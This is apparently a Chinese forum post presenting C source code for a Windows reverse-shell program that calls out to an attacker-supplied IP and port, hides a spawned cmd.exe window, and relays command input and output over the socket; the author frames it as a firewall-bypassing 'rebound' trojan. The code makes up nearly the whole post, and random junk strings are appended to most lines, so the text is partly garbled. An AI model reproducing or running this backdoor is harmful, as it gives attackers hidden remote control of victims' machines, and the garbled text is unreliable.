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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 qn2o[x  
t{/hkXq]  
/* ============================== (NGu9uJs  
Rebound port in Windows NT e$CePLEj  
By wind,2006/7 %v5)s(Yu  
===============================*/ lhLnygUk  
#include *)MX%`Z}  
#include cvZni#o2)  
H7{Q@D8  
#pragma comment(lib,"wsock32.lib") %xf)m[JU=  
IZv~[vi_  
void OutputShell(); 8|1`Tn}o  
SOCKET sClient; 5;X {.2  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c u\ls^  
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void main(int argc,char **argv) EoKC8/  
{ z7-`Y9Ypd  
WSADATA stWsaData; +O)]^"TG  
int nRet; :=rA Yc3]  
SOCKADDR_IN stSaiClient,stSaiServer; FJO"|||Y'|  
r8IX/ ,  
if(argc != 3) M-{*92y& |  
{ }X=87ud  
printf("Useage:\n\rRebound DestIP DestPort\n"); 6!ZVd#OM%  
return; \.c]kG>k-  
} M6J/mOVx5  
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WSAStartup(MAKEWORD(2,2),&stWsaData); =kd YN 5R  
|r5e{  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sC% b~  
-@rxiC:Q  
stSaiClient.sin_family = AF_INET; ddo ST``G  
stSaiClient.sin_port = htons(0); HV ;;  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); PKi_Zh.D  
GtF2@\  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Z`rK\Bc  
{ Ee&hG[sx  
printf("Bind Socket Failed!\n"); } <SNO)h3  
return; vKU`C?,L  
} yc*<:(p  
>B0D/:R9  
stSaiServer.sin_family = AF_INET; _)Qy4[S=d  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); , Hn7(^t  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  VJ3hC[  
bFSlf5*H  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) pFpZbU^  
{ (Up'$J}  
printf("Connect Error!"); #e*X0;m  
return; Ejq=*UOP  
} lj)f4zu  
OutputShell(); mV<i JZh  
} CoJ55TAW  
 2A*/C7  
void OutputShell() G-arnu)  
{ (B&h;U$HAH  
char szBuff[1024]; nB=0T`vQ  
SECURITY_ATTRIBUTES stSecurityAttributes; NUMi])HkN  
OSVERSIONINFO stOsversionInfo; 3@G;'|z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; WE")xhV6  
STARTUPINFO stStartupInfo; F<5nGx cC  
char *szShell; " 9qp "%  
PROCESS_INFORMATION stProcessInformation; ):krJ+-/y  
unsigned long lBytesRead; cqEHYJ;B  
.8]Y-  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6_*!|g  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); BBvZeG $Y  
stSecurityAttributes.lpSecurityDescriptor = 0; 6)ycmu;!$  
stSecurityAttributes.bInheritHandle = TRUE; N0Gf0i>  
Uan,H1a   
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Te;gVG*  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]c}=5m/  
ymtd>P"  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :7\9xH  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rR]-RX(  
stStartupInfo.wShowWindow = SW_HIDE; J^fm~P>.  
stStartupInfo.hStdInput = hReadPipe; PPa^o8jd  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3% ^z?_  
^/*KNnAWp  
GetVersionEx(&stOsversionInfo); I_?He'=0oU  
a\pi(9R  
switch(stOsversionInfo.dwPlatformId) pW{8R^vKm  
{ /&h+t^l_Qj  
case 1: S8%n.<OB  
szShell = "command.com"; Tw//!rp G  
break; ,-@5NY1q  
default: $M':&i5`,  
szShell = "cmd.exe"; ?>V6P_r>  
break; L,~MicgV  
} Fd7*]a  
G AQ 'Ti1!  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8.?E[~  
, H2YpZk  
send(sClient,szMsg,77,0); 0KAj]5nvb  
while(1) ^Dr.DWi{$  
{ ,-'4L9  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6e.v&f7(  
if(lBytesRead) [9V]On  
{ F}U5d^!2  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Fc8E Y*  
send(sClient,szBuff,lBytesRead,0); JDv-O&]  
} ?+r!z  
else $b>}C= gt  
{ HM&1y ubh#  
lBytesRead=recv(sClient,szBuff,1024,0); MdC<4^|  
if(lBytesRead<=0) break; K;U39ofW  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); kX[fy7rVt  
} We}lx{E  
} knT.l"  
m&IsDAn  
return; %M&3VQ9w  
}
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